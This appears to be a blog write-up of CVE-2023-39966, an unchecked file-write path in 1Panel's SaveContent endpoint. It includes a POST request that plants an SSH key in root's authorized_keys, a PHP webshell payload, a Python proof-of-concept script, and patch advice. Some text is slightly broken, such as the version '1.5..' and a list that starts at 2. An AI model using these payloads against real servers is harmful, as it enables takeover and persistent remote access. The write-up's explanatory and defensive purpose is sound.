CVE-2023-39966 - How a Simple Bug in 1Panel Could Hand Over Your Entire Server
1Panel is a widely used, open source management panel designed for handling Linux servers. It's a powerful tool aimed at both newcomers and seasoned system administrators. But sometimes, even well-intentioned tools come with a hidden danger. One such danger was uncovered in version 1.4.3, in the form of a serious vulnerability: CVE-2023-39966.
In this deep-dive, we'll explain exactly how this bug worked, how it could hand an attacker full control of your server, walk through code snippets, and give you everything you need to know to protect yourself.
What is 1Panel?
1Panel Project Page
1Panel is built to simplify Linux server operation and maintenance (O&M). You can handle websites, file management, Docker containers, and more—all from a nice web interface.
## The Heart of the Issue: SaveContent in api/v1/file.go
The vulnerability lurked inside the file operation module. Specifically, in a function called SaveContent found in the api/v1/file.go source file.
Whenever you edit or upload files through the panel's web interface, this is the function that gets called. It receives JSON data from the user's browser using a POST request, as shown below:
type SaveContentRequest struct {
Path string json:"path"
Content string json:"content"
}
func SaveContent(c *gin.Context) {
var req SaveContentRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(400, gin.H{"error": "invalid request"})
return
}
err := ioutil.WriteFile(req.Path, []byte(req.Content), 0644)
if err != nil {
c.JSON(500, gin.H{"error": "failed to write file"})
return
}
c.JSON(200, gin.H{"result": "success"})
}
Notice the problem? There is no security check for the file path! The Path parameter sent by the user is written directly to disk. No filtering, no sanitization, no nothing!
Imagine you're logged in as an attacker. You send a POST request like this
POST /api/v1/file/saveContent HTTP/1.1
Host: target-server
Content-Type: application/json
{
"path": "/root/.ssh/authorized_keys",
"content": "ssh-rsa AAAAB3...your_malicious_key"
}
What happens?
*You just dropped your SSH key into the root user’s authorized keys file.*
Or, suppose you want to drop a webshell
{
"path": "/var/www/html/shell.php",
"content": "<?php system($_GET['cmd']); ?>"
}
Now you have remote code execution—game over.
Because there is no restriction, you can overwrite or create any file on the server filesystem that the 1Panel process user can access.
Here’s a minimal Python script to exploit this vulnerability
import requests
import json
url = "http://target-server:port/api/v1/file/saveContent";
headers = {"Content-Type": "application/json"}
data = {
"path": "/tmp/hacked_by_me.txt",
"content": "You have been hacked!"
}
resp = requests.post(url, headers=headers, data=json.dumps(data))
print(resp.text)
Patch Status
The maintainers responded quickly:
Now, file operations include strict filtering on allowed paths.
Update now: Upgrade to at least version 1.5..
2. Restrict panel access: Only trusted admins should access the web panel, preferably from inside your private network or via VPN.
3. Check your server for rogue files: Review .ssh/authorized_keys, webroots, and any files modified recently.
Further References
- NVD CVE-2023-39966 Details
- Github Security Advisory
- Exploit Database - (if/when a POC is posted)
Final Thoughts
Bugs like CVE-2023-39966 remind us that even great tools need constant security review. If you use 1Panel—or any server control panel—always upgrade promptly, restrict access, and keep an eye on your files and logs.
Timeline
Published on: 08/10/2023 18:15:00 UTC
Last modified on: 09/08/2023 16:56:00 UTC